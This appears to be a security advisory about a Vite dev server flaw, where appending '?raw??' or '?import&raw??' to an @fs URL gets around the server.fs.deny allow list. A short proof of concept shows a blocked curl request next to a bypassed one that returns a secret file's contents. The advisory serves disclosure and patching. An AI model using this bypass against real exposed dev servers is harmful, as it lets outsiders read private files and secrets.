Vite bypasses server.fs.deny when using ?raw??

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...